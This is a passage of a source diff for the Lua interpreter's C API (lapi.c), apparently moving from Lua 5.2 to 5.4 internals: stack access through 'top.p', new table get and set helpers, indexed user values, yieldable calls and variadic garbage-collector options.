LUA_TTABLE: - return hvalue(o); - case LUA_TLCL: - return clLvalue(o); - case LUA_TCCL: - return clCvalue(o); - case LUA_TLCF: - return cast(void *, cast(size_t, fvalue(o))); - case LUA_TTHREAD: - return thvalue(o); - case LUA_TUSERDATA: - case LUA_TLIGHTUSERDATA: - return lua_touserdata(L, idx); - default: - return NULL; + const TValue *o = index2value(L, idx); + switch (ttypetag(o)) { + case LUA_VLCF: + return cast_voidp(cast_sizet(fvalue(o))); + case LUA_VUSERDATA: + case LUA_VLIGHTUSERDATA: + return touserdata(o); + default: { + if (iscollectable(o)) + return gcvalue(o); + else + return NULL; + } } } @@ -477,7 +508,7 @@ LUA_API const void *lua_topointer(lua_State *L, int idx) { LUA_API void lua_pushnil(lua_State *L) { lua_lock(L); - setnilvalue(L->top); + setnilvalue(s2v(L->top.p)); api_incr_top(L); lua_unlock(L); } @@ -485,9 +516,7 @@ LUA_API void lua_pushnil(lua_State *L) { LUA_API void lua_pushnumber(lua_State *L, lua_Number n) { lua_lock(L); - setnvalue(L->top, n); - luai_checknum(L, L->top, - luaG_runerror(L, "C API - attempt to push a signaling NaN")); + setfltvalue(s2v(L->top.p), n); api_incr_top(L); lua_unlock(L); } @@ -495,48 +524,43 @@ LUA_API void lua_pushnumber(lua_State *L, lua_Number n) { LUA_API void lua_pushinteger(lua_State *L, lua_Integer n) { lua_lock(L); - setnvalue(L->top, cast_num(n)); - api_incr_top(L); - lua_unlock(L); -} - - -LUA_API void lua_pushunsigned(lua_State *L, lua_Unsigned u) { - lua_Number n; - lua_lock(L); - n = lua_unsigned2number(u); - setnvalue(L->top, n); + setivalue(s2v(L->top.p), n); api_incr_top(L); lua_unlock(L); } +/* +** Pushes on the stack a string with given length. Avoid using 's' when +** 'len' == 0 (as 's' can be NULL in that case), due to later use of +** 'memcmp' and 'memcpy'. +*/ LUA_API const char *lua_pushlstring(lua_State *L, const char *s, size_t len) { TString *ts; lua_lock(L); - luaC_checkGC(L); - ts = luaS_newlstr(L, s, len); - setsvalue2s(L, L->top, ts); + ts = (len == 0) ? luaS_new(L, "") : luaS_newlstr(L, s, len); + setsvalue2s(L, L->top.p, ts); api_incr_top(L); + luaC_checkGC(L); lua_unlock(L); return getstr(ts); } LUA_API const char *lua_pushstring(lua_State *L, const char *s) { - if (s == NULL) { - lua_pushnil(L); - return NULL; - } else { + lua_lock(L); + if (s == NULL) + setnilvalue(s2v(L->top.p)); + else { TString *ts; - lua_lock(L); - luaC_checkGC(L); ts = luaS_new(L, s); - setsvalue2s(L, L->top, ts); - api_incr_top(L); - lua_unlock(L); - return getstr(ts); + setsvalue2s(L, L->top.p, ts); + s = getstr(ts); /* internal copy's address */ } + api_incr_top(L); + luaC_checkGC(L); + lua_unlock(L); + return s; } @@ -544,8 +568,8 @@ LUA_API const char *lua_pushvfstring(lua_State *L, const char *fmt, va_list argp) { const char *ret; lua_lock(L); - luaC_checkGC(L); ret = luaO_pushvfstring(L, fmt, argp); + luaC_checkGC(L); lua_unlock(L); return ret; } @@ -555,10 +579,10 @@ LUA_API const char *lua_pushfstring(lua_State *L, const char *fmt, ...) { const char *ret; va_list argp; lua_lock(L); - luaC_checkGC(L); va_start(argp, fmt); ret = luaO_pushvfstring(L, fmt, argp); va_end(argp); + luaC_checkGC(L); lua_unlock(L); return ret; } @@ -567,27 +591,34 @@ LUA_API const char *lua_pushfstring(lua_State *L, const char *fmt, ...) { LUA_API void lua_pushcclosure(lua_State *L, lua_CFunction fn, int n) { lua_lock(L); if (n == 0) { - setfvalue(L->top, fn); + setfvalue(s2v(L->top.p), fn); + api_incr_top(L); } else { - Closure *cl; + CClosure *cl; api_checknelems(L, n); api_check(L, n <= MAXUPVAL, "upvalue index too large"); - luaC_checkGC(L); cl = luaF_newCclosure(L, n); - cl->c.f = fn; - L->top -= n; - while (n--) - setobj2n(L, &cl->c.upvalue[n], L->top + n); - setclCvalue(L, L->top, cl); + cl->f = fn; + L->top.p -= n; + while (n--) { + setobj2n(L, &cl->upvalue[n], s2v(L->top.p + n)); + /* does not need barrier because closure is white */ + lua_assert(iswhite(cl)); + } + setclCvalue(L, s2v(L->top.p), cl); + api_incr_top(L); + luaC_checkGC(L); } - api_incr_top(L); lua_unlock(L); } LUA_API void lua_pushboolean(lua_State *L, int b) { lua_lock(L); - setbvalue(L->top, (b != 0)); /* ensure that true is 1 */ + if (b) + setbtvalue(s2v(L->top.p)); + else + setbfvalue(s2v(L->top.p)); api_incr_top(L); lua_unlock(L); } @@ -595,7 +626,7 @@ LUA_API void lua_pushboolean(lua_State *L, int b) { LUA_API void lua_pushlightuserdata(lua_State *L, void *p) { lua_lock(L); - setpvalue(L->top, p); + setpvalue(s2v(L->top.p), p); api_incr_top(L); lua_unlock(L); } @@ -603,7 +634,7 @@ LUA_API void lua_pushlightuserdata(lua_State *L, void *p) { LUA_API int lua_pushthread(lua_State *L) { lua_lock(L); - setthvalue(L, L->top, L); + setthvalue(L, s2v(L->top.p), L); api_incr_top(L); lua_unlock(L); return (G(L)->mainthread == L); @@ -616,91 +647,146 @@ LUA_API int lua_pushthread(lua_State *L) { */ -LUA_API void lua_getglobal(lua_State *L, const char *var) { - Table *reg = hvalue(&G(L)->l_registry); - const TValue *gt; /* global table */ - lua_lock(L); - gt = luaH_getint(reg, LUA_RIDX_GLOBALS); - setsvalue2s(L, L->top++, luaS_new(L, var)); - luaV_gettable(L, gt, L->top - 1, L->top - 1); +l_sinline int auxgetstr(lua_State *L, const TValue *t, const char *k) { + const TValue *slot; + TString *str = luaS_new(L, k); + if (luaV_fastget(L, t, str, slot, luaH_getstr)) { + setobj2s(L, L->top.p, slot); + api_incr_top(L); + } else { + setsvalue2s(L, L->top.p, str); + api_incr_top(L); + luaV_finishget(L, t, s2v(L->top.p - 1), L->top.p - 1, slot); + } lua_unlock(L); + return ttype(s2v(L->top.p - 1)); } -LUA_API void lua_gettable(lua_State *L, int idx) { - StkId t; +/* +** Get the global table in the registry. Since all predefined +** indices in the registry were inserted right when the registry +** was created and never removed, they must always be in the array +** part of the registry. +*/ +#define getGtable(L) \ + (&hvalue(&G(L)->l_registry)->array[LUA_RIDX_GLOBALS - 1]) + + +LUA_API int lua_getglobal(lua_State *L, const char *name) { + const TValue *G; lua_lock(L); - t = index2addr(L, idx); - luaV_gettable(L, t, L->top - 1, L->top - 1); - lua_unlock(L); + G = getGtable(L); + return auxgetstr(L, G, name); } -LUA_API void lua_getfield(lua_State *L, int idx, const char *k) { - StkId t; +LUA_API int lua_gettable(lua_State *L, int idx) { + const TValue *slot; + TValue *t; lua_lock(L); - t = index2addr(L, idx); - setsvalue2s(L, L->top, luaS_new(L, k)); - api_incr_top(L); - luaV_gettable(L, t, L->top - 1, L->top - 1); + t = index2value(L, idx); + if (luaV_fastget(L, t, s2v(L->top.p - 1), slot, luaH_get)) { + setobj2s(L, L->top.p - 1, slot); + } else + luaV_finishget(L, t, s2v(L->top.p - 1), L->top.p - 1, slot); lua_unlock(L); + return ttype(s2v(L->top.p - 1)); } -LUA_API void lua_rawget(lua_State *L, int idx) { - StkId t; +LUA_API int lua_getfield(lua_State *L, int idx, const char *k) { lua_lock(L); - t = index2addr(L, idx); - api_check(L, ttistable(t), "table expected"); - setobj2s(L, L->top - 1, luaH_get(hvalue(t), L->top - 1)); - lua_unlock(L); + return auxgetstr(L, index2value(L, idx), k); } -LUA_API void lua_rawgeti(lua_State *L, int idx, int n) { - StkId t; +LUA_API int lua_geti(lua_State *L, int idx, lua_Integer n) { + TValue *t; + const TValue *slot; lua_lock(L); - t = index2addr(L, idx); - api_check(L, ttistable(t), "table expected"); - setobj2s(L, L->top, luaH_getint(hvalue(t), n)); + t = index2value(L, idx); + if (luaV_fastgeti(L, t, n, slot)) { + setobj2s(L, L->top.p, slot); + } else { + TValue aux; + setivalue(&aux, n); + luaV_finishget(L, t, &aux, L->top.p, slot); + } api_incr_top(L); lua_unlock(L); + return ttype(s2v(L->top.p - 1)); } -LUA_API void lua_rawgetp(lua_State *L, int idx, const void *p) { - StkId t; +l_sinline int finishrawget(lua_State *L, const TValue *val) { + if (isempty(val)) /* avoid copying empty items to the stack */ + setnilvalue(s2v(L->top.p)); + else + setobj2s(L, L->top.p, val); + api_incr_top(L); + lua_unlock(L); + return ttype(s2v(L->top.p - 1)); +} + + +static Table *gettable(lua_State *L, int idx) { + TValue *t = index2value(L, idx); + api_check(L, ttistable(t), "table expected"); + return hvalue(t); +} + + +LUA_API int lua_rawget(lua_State *L, int idx) { + Table *t; + const TValue *val; + lua_lock(L); + api_checknelems(L, 1); + t = gettable(L, idx); + val = luaH_get(t, s2v(L->top.p - 1)); + L->top.p--; /* remove key */ + return finishrawget(L, val); +} + + +LUA_API int lua_rawgeti(lua_State *L, int idx, lua_Integer n) { + Table *t; + lua_lock(L); + t = gettable(L, idx); + return finishrawget(L, luaH_getint(t, n)); +} + + +LUA_API int lua_rawgetp(lua_State *L, int idx, const void *p) { + Table *t; TValue k; lua_lock(L); - t = index2addr(L, idx); - api_check(L, ttistable(t), "table expected"); - setpvalue(&k, cast(void *, p)); - setobj2s(L, L->top, luaH_get(hvalue(t), &k)); - api_incr_top(L); - lua_unlock(L); + t = gettable(L, idx); + setpvalue(&k, cast_voidp(p)); + return finishrawget(L, luaH_get(t, &k)); } LUA_API void lua_createtable(lua_State *L, int narray, int nrec) { Table *t; lua_lock(L); - luaC_checkGC(L); t = luaH_new(L); - sethvalue(L, L->top, t); + sethvalue2s(L, L->top.p, t); api_incr_top(L); if (narray > 0 || nrec > 0) luaH_resize(L, t, narray, nrec); + luaC_checkGC(L); lua_unlock(L); } LUA_API int lua_getmetatable(lua_State *L, int objindex) { const TValue *obj; - Table *mt = NULL; - int res; + Table *mt; + int res = 0; lua_lock(L); - obj = index2addr(L, objindex); - switch (ttypenv(obj)) { + obj = index2value(L, objindex); + switch (ttype(obj)) { case LUA_TTABLE: mt = hvalue(obj)->metatable; break; @@ -708,13 +794,11 @@ LUA_API int lua_getmetatable(lua_State *L, int objindex) { mt = uvalue(obj)->metatable; break; default: - mt = G(L)->mt[ttypenv(obj)]; + mt = G(L)->mt[ttype(obj)]; break; } - if (mt == NULL) - res = 0; - else { - sethvalue(L, L->top, mt); + if (mt != NULL) { + sethvalue2s(L, L->top.p, mt); api_incr_top(L); res = 1; } @@ -723,17 +807,22 @@ LUA_API int lua_getmetatable(lua_State *L, int objindex) { } -LUA_API void lua_getuservalue(lua_State *L, int idx) { - StkId o; +LUA_API int lua_getiuservalue(lua_State *L, int idx, int n) { + TValue *o; + int t; lua_lock(L); - o = index2addr(L, idx); - api_check(L, ttisuserdata(o), "userdata expected"); - if (uvalue(o)->env) { - sethvalue(L, L->top, uvalue(o)->env); - } else - setnilvalue(L->top); + o = index2value(L, idx); + api_check(L, ttisfulluserdata(o), "full userdata expected"); + if (n <= 0 || n > uvalue(o)->nuvalue) { + setnilvalue(s2v(L->top.p)); + t = LUA_TNONE; + } else { + setobj2s(L, L->top.p, &uvalue(o)->uv[n - 1].uv); + t = ttype(s2v(L->top.p)); + } api_incr_top(L); lua_unlock(L); + return t; } @@ -741,81 +830,106 @@ LUA_API void lua_getuservalue(lua_State *L, int idx) { ** set functions (stack -> Lua) */ - -LUA_API void lua_setglobal(lua_State *L, const char *var) { - Table *reg = hvalue(&G(L)->l_registry); - const TValue *gt; /* global table */ - lua_lock(L); +/* +** t[k] = value at the top of the stack (where 'k' is a string) +*/ +static void auxsetstr(lua_State *L, const TValue *t, const char *k) { + const TValue *slot; + TString *str = luaS_new(L, k); api_checknelems(L, 1); - gt = luaH_getint(reg, LUA_RIDX_GLOBALS); - setsvalue2s(L, L->top++, luaS_new(L, var)); - luaV_settable(L, gt, L->top - 1, L->top - 2); - L->top -= 2; /* pop value and key */ - lua_unlock(L); + if (luaV_fastget(L, t, str, slot, luaH_getstr)) { + luaV_finishfastset(L, t, slot, s2v(L->top.p - 1)); + L->top.p--; /* pop value */ + } else { + setsvalue2s(L, L->top.p, str); /* push 'str' (to make it a TValue) */ + api_incr_top(L); + luaV_finishset(L, t, s2v(L->top.p - 1), s2v(L->top.p - 2), slot); + L->top.p -= 2; /* pop value and key */ + } + lua_unlock(L); /* lock done by caller */ +} + + +LUA_API void lua_setglobal(lua_State *L, const char *name) { + const TValue *G; + lua_lock(L); /* unlock done in 'auxsetstr' */ + G = getGtable(L); + auxsetstr(L, G, name); } LUA_API void lua_settable(lua_State *L, int idx) { - StkId t; + TValue *t; + const TValue *slot; lua_lock(L); api_checknelems(L, 2); - t = index2addr(L, idx); - luaV_settable(L, t, L->top - 2, L->top - 1); - L->top -= 2; /* pop index and value */ + t = index2value(L, idx); + if (luaV_fastget(L, t, s2v(L->top.p - 2), slot, luaH_get)) { + luaV_finishfastset(L, t, slot, s2v(L->top.p - 1)); + } else + luaV_finishset(L, t, s2v(L->top.p - 2), s2v(L->top.p - 1), slot); + L->top.p -= 2; /* pop index and value */ lua_unlock(L); } LUA_API void lua_setfield(lua_State *L, int idx, const char *k) { - StkId t; + lua_lock(L); /* unlock done in 'auxsetstr' */ + auxsetstr(L, index2value(L, idx), k); +} + + +LUA_API void lua_seti(lua_State *L, int idx, lua_Integer n) { + TValue *t; + const TValue *slot; lua_lock(L); api_checknelems(L, 1); - t = index2addr(L, idx); - setsvalue2s(L, L->top++, luaS_new(L, k)); - luaV_settable(L, t, L->top - 1, L->top - 2); - L->top -= 2; /* pop value and key */ + t = index2value(L, idx); + if (luaV_fastgeti(L, t, n, slot)) { + luaV_finishfastset(L, t, slot, s2v(L->top.p - 1)); + } else { + TValue aux; + setivalue(&aux, n); + luaV_finishset(L, t, &aux, s2v(L->top.p - 1), slot); + } + L->top.p--; /* pop value */ + lua_unlock(L); +} + + +static void aux_rawset(lua_State *L, int idx, TValue *key, int n) { + Table *t; + lua_lock(L); + api_checknelems(L, n); + t = gettable(L, idx); + luaH_set(L, t, key, s2v(L->top.p - 1)); + invalidateTMcache(t); + luaC_barrierback(L, obj2gco(t), s2v(L->top.p - 1)); + L->top.p -= n; lua_unlock(L); } LUA_API void lua_rawset(lua_State *L, int idx) { - StkId t; - lua_lock(L); - api_checknelems(L, 2); - t = index2addr(L, idx); - api_check(L, ttistable(t), "table expected"); - setobj2t(L, luaH_set(L, hvalue(t), L->top - 2), L->top - 1); - invalidateTMcache(hvalue(t)); - luaC_barrierback(L, gcvalue(t), L->top - 1); - L->top -= 2; - lua_unlock(L); -} - - -LUA_API void lua_rawseti(lua_State *L, int idx, int n) { - StkId t; - lua_lock(L); - api_checknelems(L, 1); - t = index2addr(L, idx); - api_check(L, ttistable(t), "table expected"); - luaH_setint(L, hvalue(t), n, L->top - 1); - luaC_barrierback(L, gcvalue(t), L->top - 1); - L->top--; - lua_unlock(L); + aux_rawset(L, idx, s2v(L->top.p - 2), 2); } LUA_API void lua_rawsetp(lua_State *L, int idx, const void *p) { - StkId t; TValue k; + setpvalue(&k, cast_voidp(p)); + aux_rawset(L, idx, &k, 1); +} + + +LUA_API void lua_rawseti(lua_State *L, int idx, lua_Integer n) { + Table *t; lua_lock(L); api_checknelems(L, 1); - t = index2addr(L, idx); - api_check(L, ttistable(t), "table expected"); - setpvalue(&k, cast(void *, p)); - setobj2t(L, luaH_set(L, hvalue(t), &k), L->top - 1); - luaC_barrierback(L, gcvalue(t), L->top - 1); - L->top--; + t = gettable(L, idx); + luaH_setint(L, t, n, s2v(L->top.p - 1)); + luaC_barrierback(L, obj2gco(t), s2v(L->top.p - 1)); + L->top.p--; lua_unlock(L); } @@ -825,18 +939,18 @@ LUA_API int lua_setmetatable(lua_State *L, int objindex) { Table *mt; lua_lock(L); api_checknelems(L, 1); - obj = index2addr(L, objindex); - if (ttisnil(L->top - 1)) + obj = index2value(L, objindex); + if (ttisnil(s2v(L->top.p - 1))) mt = NULL; else { - api_check(L, ttistable(L->top - 1), "table expected"); - mt = hvalue(L->top - 1); + api_check(L, ttistable(s2v(L->top.p - 1)), "table expected"); + mt = hvalue(s2v(L->top.p - 1)); } - switch (ttypenv(obj)) { + switch (ttype(obj)) { case LUA_TTABLE: { hvalue(obj)->metatable = mt; if (mt) { - luaC_objbarrierback(L, gcvalue(obj), mt); + luaC_objbarrier(L, gcvalue(obj), mt); luaC_checkfinalizer(L, gcvalue(obj), mt); } break; @@ -844,60 +958,55 @@ LUA_API int lua_setmetatable(lua_State *L, int objindex) { case LUA_TUSERDATA: { uvalue(obj)->metatable = mt; if (mt) { - luaC_objbarrier(L, rawuvalue(obj), mt); + luaC_objbarrier(L, uvalue(obj), mt); luaC_checkfinalizer(L, gcvalue(obj), mt); } break; } default: { - G(L)->mt[ttypenv(obj)] = mt; + G(L)->mt[ttype(obj)] = mt; break; } } - L->top--; + L->top.p--; lua_unlock(L); return 1; } -LUA_API void lua_setuservalue(lua_State *L, int idx) { - StkId o; +LUA_API int lua_setiuservalue(lua_State *L, int idx, int n) { + TValue *o; + int res; lua_lock(L); api_checknelems(L, 1); - o = index2addr(L, idx); - api_check(L, ttisuserdata(o), "userdata expected"); - if (ttisnil(L->top - 1)) - uvalue(o)->env = NULL; + o = index2value(L, idx); + api_check(L, ttisfulluserdata(o), "full userdata expected"); + if (!(cast_uint(n) - 1u < cast_uint(uvalue(o)->nuvalue))) + res = 0; /* 'n' not in [1, uvalue(o)->nuvalue] */ else { - api_check(L, ttistable(L->top - 1), "table expected"); - uvalue(o)->env = hvalue(L->top - 1); - luaC_objbarrier(L, gcvalue(o), hvalue(L->top - 1)); + setobj(L, &uvalue(o)->uv[n - 1].uv, s2v(L->top.p - 1)); + luaC_barrierback(L, gcvalue(o), s2v(L->top.p - 1)); + res = 1; } - L->top--; + L->top.p--; lua_unlock(L); + return res; } /* -** `load' and `call' functions (run Lua code) +** 'load' and 'call' functions (run Lua code) */ #define checkresults(L,na,nr) \ - api_check(L, (nr) == LUA_MULTRET || (L->ci->top - L->top >= (nr) - (na)), \ - "results from function overflow current stack size") + api_check(L, (nr) == LUA_MULTRET \ + || (L->ci->top.p - L->top.p >= (nr) - (na)), \ + "results from function overflow current stack size") -LUA_API int lua_getctx(lua_State *L, int *ctx) { - if (L->ci->callstatus & CIST_YIELDED) { - if (ctx) *ctx = L->ci->u.c.ctx; - return L->ci->u.c.status; - } else return LUA_OK; -} - - -LUA_API void lua_callk(lua_State *L, int nargs, int nresults, int ctx, - lua_CFunction k) { +LUA_API void lua_callk(lua_State *L, int nargs, int nresults, + lua_KContext ctx, lua_KFunction k) { StkId func; lua_lock(L); api_check(L, k == NULL || !isLua(L->ci), @@ -905,13 +1014,13 @@ LUA_API void lua_callk(lua_State *L, int nargs, int nresults, int ctx, api_checknelems(L, nargs + 1); api_check(L, L->status == LUA_OK, "cannot do calls on non-normal thread"); checkresults(L, nargs, nresults); - func = L->top - (nargs + 1); - if (k != NULL && L->nny == 0) { /* need to prepare continuation? */ + func = L->top.p - (nargs + 1); + if (k != NULL && yieldable(L)) { /* need to prepare continuation? */ L->ci->u.c.k = k; /* save continuation */ L->ci->u.c.ctx = ctx; /* save context */ - luaD_call(L, func, nresults, 1); /* do the call */ + luaD_call(L, func, nresults); /* do the call */ } else /* no continuation or no yieldable */ - luaD_call(L, func, nresults, 0); /* just do the call */ + luaD_callnoyield(L, func, nresults); /* just do the call */ adjustresults(L, nresults); lua_unlock(L); } @@ -921,7 +1030,7 @@ LUA_API void lua_callk(lua_State *L, int nargs, int nresults, int ctx, /* ** Execute a protected call. */ -struct CallS { /* data to `f_call' */ +struct CallS { /* data to 'f_call' */ StkId func; int nresults; }; @@ -929,13 +1038,13 @@ struct CallS { /* data to `f_call' */ static void f_call(lua_State *L, void *ud) { struct CallS *c = cast(struct CallS *, ud); - luaD_call(L, c->func, c->nresults, 0); + luaD_callnoyield(L, c->func, c->nresults); } LUA_API int lua_pcallk(lua_State *L, int nargs, int nresults, int errfunc, - int ctx, lua_CFunction k) { + lua_KContext ctx, lua_KFunction k) { struct CallS c; int status; ptrdiff_t func; @@ -948,12 +1057,12 @@ LUA_API int lua_pcallk(lua_State *L, int nargs, int nresults, int errfunc, if (errfunc == 0) func = 0; else { - StkId o = index2addr(L, errfunc); - api_checkstackindex(L, errfunc, o); + StkId o = index2stack(L, errfunc); + api_check(L, ttisfunction(s2v(o)), "error handler must be a function"); func = savestack(L, o); } - c.func = L->top - (nargs + 1); /* function to be called */ - if (k == NULL || L->nny > 0) { /* no continuation or no yieldable? */ + c.func = L->top.p - (nargs + 1); /* function to be called */ + if (k == NULL || !yieldable(L)) { /* no continuation or no yieldable? */ c.nresults = nresults; /* do a 'conventional' protected call */ status = luaD_pcall(L, f_call, &c, savestack(L, c.func), func); } else { /* prepare continuation (call is already protected by 'resume') */ @@ -961,13 +1070,12 @@ LUA_API int lua_pcallk(lua_State *L, int nargs, int nresults, int errfunc, ci->u.c.k = k; /* save continuation */ ci->u.c.ctx = ctx; /* save context */ /* save information for error recovery */ - ci->extra = savestack(L, c.func); - ci->u.c.old_allowhook = L->allowhook; + ci->u2.funcidx = cast_int(savestack(L, c.func)); ci->u.c.old_errfunc = L->errfunc; L->errfunc = func; - /* mark that function may do error recovery */ - ci->callstatus |= CIST_YPCALL; - luaD_call(L, c.func, nresults, 1); /* do the call */ + setoah(ci->callstatus, L->allowhook); /* save value of 'allowhook' */ + ci->callstatus |= CIST_YPCALL; /* function can do error recovery */ + luaD_call(L, c.func, nresults); /* do the call */ ci->callstatus &= ~CIST_YPCALL; L->errfunc = ci->u.c.old_errfunc; status = LUA_OK; /* if it is here, there were no errors */ @@ -987,13 +1095,12 @@ LUA_API int lua_load(lua_State *L, lua_Reader reader, void *data, luaZ_init(L, &z, reader, data); status = luaD_protectedparser(L, &z, chunkname, mode); if (status == LUA_OK) { /* no errors? */ - LClosure *f = clLvalue(L->top - 1); /* get newly created function */ - if (f->nupvalues == 1) { /* does it have one upvalue? */ + LClosure *f = clLvalue(s2v(L->top.p - 1)); /* get new function */ + if (f->nupvalues >= 1) { /* does it have an upvalue? */ /* get global table from registry */ - Table *reg = hvalue(&G(L)->l_registry); - const TValue *gt = luaH_getint(reg, LUA_RIDX_GLOBALS); + const TValue *gt = getGtable(L); /* set global table as 1st upvalue of 'f' (may be LUA_ENV) */ - setobj(L, f->upvals[0]->v, gt); + setobj(L, f->upvals[0]->v.p, gt); luaC_barrier(L, f->upvals[0], gt); } } @@ -1002,14 +1109,14 @@ LUA_API int lua_load(lua_State *L, lua_Reader reader, void *data, } -LUA_API int lua_dump(lua_State *L, lua_Writer writer, void *data) { +LUA_API int lua_dump(lua_State *L, lua_Writer writer, void *data, int strip) { int status; TValue *o; lua_lock(L); api_checknelems(L, 1); - o = L->top - 1; + o = s2v(L->top.p - 1); if (isLfunction(o)) - status = luaU_dump(L, getproto(o), writer, data, 0); + status = luaU_dump(L, getproto(o), writer, data, strip); else status = 1; lua_unlock(L); @@ -1025,20 +1132,22 @@ LUA_API int lua_status(lua_State *L) { /* ** Garbage-collection function */ - -LUA_API int lua_gc(lua_State *L, int what, int data) { +LUA_API int lua_gc(lua_State *L, int what, ...) { + va_list argp; int res = 0; - global_State *g; + global_State *g = G(L); + if (g->gcstp & GCSTPGC) /* internal stop? */ + return -1; /* all options are invalid when stopped */ lua_lock(L); - g = G(L); + va_start(argp, what); switch (what) { case LUA_GCSTOP: { - g->gcrunning = 0; + g->gcstp = GCSTPUSR; /* stopped by the user */ break; } case LUA_GCRESTART: { luaE_setdebt(g, 0); - g->gcrunning = 1; + g->gcstp = 0; /* (GCSTPGC must be already zero here) */ break; } case LUA_GCCOLLECT: { @@ -1055,50 +1164,68 @@ LUA_API int lua_gc(lua_State *L, int what, int data) { break; } case LUA_GCSTEP: { - if (g->gckind == KGC_GEN) { /* generational mode? */ - res = (g->GCestimate == 0); /* true if it will do major collection */ - luaC_forcestep(L); /* do a single step */ - } else { - lu_mem debt = cast(lu_mem, data) * 1024 - GCSTEPSIZE; - if (g->gcrunning) - debt += g->GCdebt; /* include current debt */ + int data = va_arg(argp, int); + l_mem debt = 1; /* =1 to signal that it did an actual step */ + lu_byte oldstp = g->gcstp; + g->gcstp = 0; /* allow GC to run (GCSTPGC must be zero here) */ + if (data == 0) { + luaE_setdebt(g, 0); /* do a basic step */ + luaC_step(L); + } else { /* add 'data' to total debt */ + debt = cast(l_mem, data) * 1024 + g->GCdebt; luaE_setdebt(g, debt); - luaC_forcestep(L); - if (g->gcstate == GCSpause) /* end of cycle? */ - res = 1; /* signal it */ + luaC_checkGC(L); } + g->gcstp = oldstp; /* restore previous state */ + if (debt > 0 && g->gcstate == GCSpause) /* end of cycle? */ + res = 1; /* signal it */ break; } case LUA_GCSETPAUSE: { - res = g->gcpause; - g->gcpause = data; - break; - } - case LUA_GCSETMAJORINC: { - res = g->gcmajorinc; - g->gcmajorinc = data; + int data = va_arg(argp, int); + res = getgcparam(g->gcpause); + setgcparam(g->gcpause, data); break; } case LUA_GCSETSTEPMUL: { - res = g->gcstepmul; - g->gcstepmul = data; + int data = va_arg(argp, int); + res = getgcparam(g->gcstepmul); + setgcparam(g->gcstepmul, data); break; } case LUA_GCISRUNNING: { - res = g->gcrunning; + res = gcrunning(g); break; } - case LUA_GCGEN: { /* change collector to generational mode */ + case LUA_GCGEN: { + int minormul = va_arg(argp, int); + int majormul = va_arg(argp, int); + res = isdecGCmodegen(g) ? LUA_GCGEN : LUA_GCINC; + if (minormul != 0) + g->genminormul = minormul; + if (majormul != 0) + setgcparam(g->genmajormul, majormul); luaC_changemode(L, KGC_GEN); break; } - case LUA_GCINC: { /* change collector to incremental mode */ - luaC_changemode(L, KGC_NORMAL); + case LUA_GCINC: { + int pause = va_arg(argp, int); + int stepmul = va_arg(argp, int); + int stepsize = va_arg(argp, int); + res = isdecGCmodegen(g) ? LUA_GCGEN : LUA_GCINC; + if (pause != 0) + setgcparam(g->gcpause, pause); + if (stepmul != 0) + setgcparam(g->gcstepmul, stepmul); + if (stepsize != 0) + g->gcstepsize = stepsize; + luaC_changemode(L, KGC_INC); break; } default: res = -1; /* invalid option */ } + va_end(argp); lua_unlock(L); return res; } @@ -1111,50 +1238,70 @@ LUA_API int lua_gc(lua_State *L, int what, int data) { LUA_API int lua_error(lua_State *L) { + TValue *errobj; lua_lock(L); + errobj = s2v(L->top.p - 1); api_checknelems(L, 1); - luaG_errormsg(L); + /* error object is the memory error message? */ + if (ttisshrstring(errobj) && eqshrstr(tsvalue(errobj), G(L)->memerrmsg)) + luaM_error(L); /* raise a memory error */ + else + luaG_errormsg(L); /* raise a regular error */ /* code unreachable; will unlock when control actually leaves the kernel */ return 0; /* to avoid warnings */ } LUA_API int lua_next(lua_State *L, int idx) { - StkId t; + Table *t; int more; lua_lock(L); - t = index2addr(L, idx); - api_check(L, ttistable(t), "table expected"); - more = luaH_next(L, hvalue(t), L->top - 1); + api_checknelems(L, 1); + t = gettable(L, idx); + more = luaH_next(L, t, L->top.p - 1); if (more) { api_incr_top(L); } else /* no more elements */ - L->top -= 1; /* remove key */ + L->top.p -= 1; /* remove key */ lua_unlock(L); return more; } +LUA_API void lua_toclose(lua_State *L, int idx) { + int nresults; + StkId o; + lua_lock(L); + o = index2stack(L, idx); + nresults = L->ci->nresults; + api_check(L, L->tbclist.p < o, "given index below or equal a marked one"); + luaF_newtbcupval(L, o); /* create new to-be-closed upvalue */ + if (!hastocloseCfunc(nresults)) /* function not marked yet? */ + L->ci->nresults = codeNresults(nresults); /* mark it */ + lua_assert(hastocloseCfunc(L->ci->nresults)); + lua_unlock(L); +} + + LUA_API void lua_concat(lua_State *L, int n) { lua_lock(L); api_checknelems(L, n); - if (n >= 2) { - luaC_checkGC(L); + if (n > 0) luaV_concat(L, n); - } else if (n == 0) { /* push empty string */ - setsvalue2s(L, L->top, luaS_newlstr(L, "", 0)); + else { /* nothing to concatenate */ + setsvalue2s(L, L->top.p, luaS_newlstr(L, "", 0)); /* push empty string */ api_incr_top(L); } - /* else n == 1; nothing to do */ + luaC_checkGC(L); lua_unlock(L); } LUA_API void lua_len(lua_State *L, int idx) { - StkId t; + TValue *t; lua_lock(L); - t = index2addr(L, idx); - luaV_objlen(L, L->top, t); + t = index2value(L, idx); + luaV_objlen(L, L->top.p, t); api_incr_top(L); lua_unlock(L); } @@ -1178,38 +1325,57 @@ LUA_API void lua_setallocf(lua_State *L, lua_Alloc f, void *ud) { } -LUA_API void *lua_newuserdata(lua_State *L, size_t size) { - Udata *u; +void lua_setwarnf(lua_State *L, lua_WarnFunction f, void *ud) { lua_lock(L); - luaC_checkGC(L); - u = luaS_newudata(L, size, NULL); - setuvalue(L, L->top, u); - api_incr_top(L); + G(L)->ud_warn = ud; + G(L)->warnf = f; + lua_unlock(L); +} + + +void lua_warning(lua_State *L, const char *msg, int tocont) { + lua_lock(L); + luaE_warning(L, msg, tocont); lua_unlock(L); - return u + 1; } -static const char *aux_upvalue(StkId fi, int n, TValue **val, +LUA_API void *lua_newuserdatauv(lua_State *L, size_t size, int nuvalue) { + Udata *u; + lua_lock(L); + api_check(L, 0 <= nuvalue && nuvalue < USHRT_MAX, "invalid value"); + u = luaS_newudata(L, size, nuvalue); + setuvalue(L, s2v(L->top.p), u); + api_incr_top(L); + luaC_checkGC(L); + lua_unlock(L); + return getudatamem(u); +} + + + +static const char *aux_upvalue(TValue *fi, int n, TValue **val, GCObject **owner) { - switch (ttype(fi)) { - case LUA_TCCL: { /* C closure */ + switch (ttypetag(fi)) { + case LUA_VCCL: { /* C closure */ CClosure *f = clCvalue(fi); - if (!(1 <= n && n <= f->nupvalues)) return NULL; + if (!(cast_uint(n) - 1u < cast_uint(f->nupvalues))) + return NULL; /* 'n' not in [1, f->nupvalues] */ *val = &f->upvalue[n - 1]; if (owner) *owner = 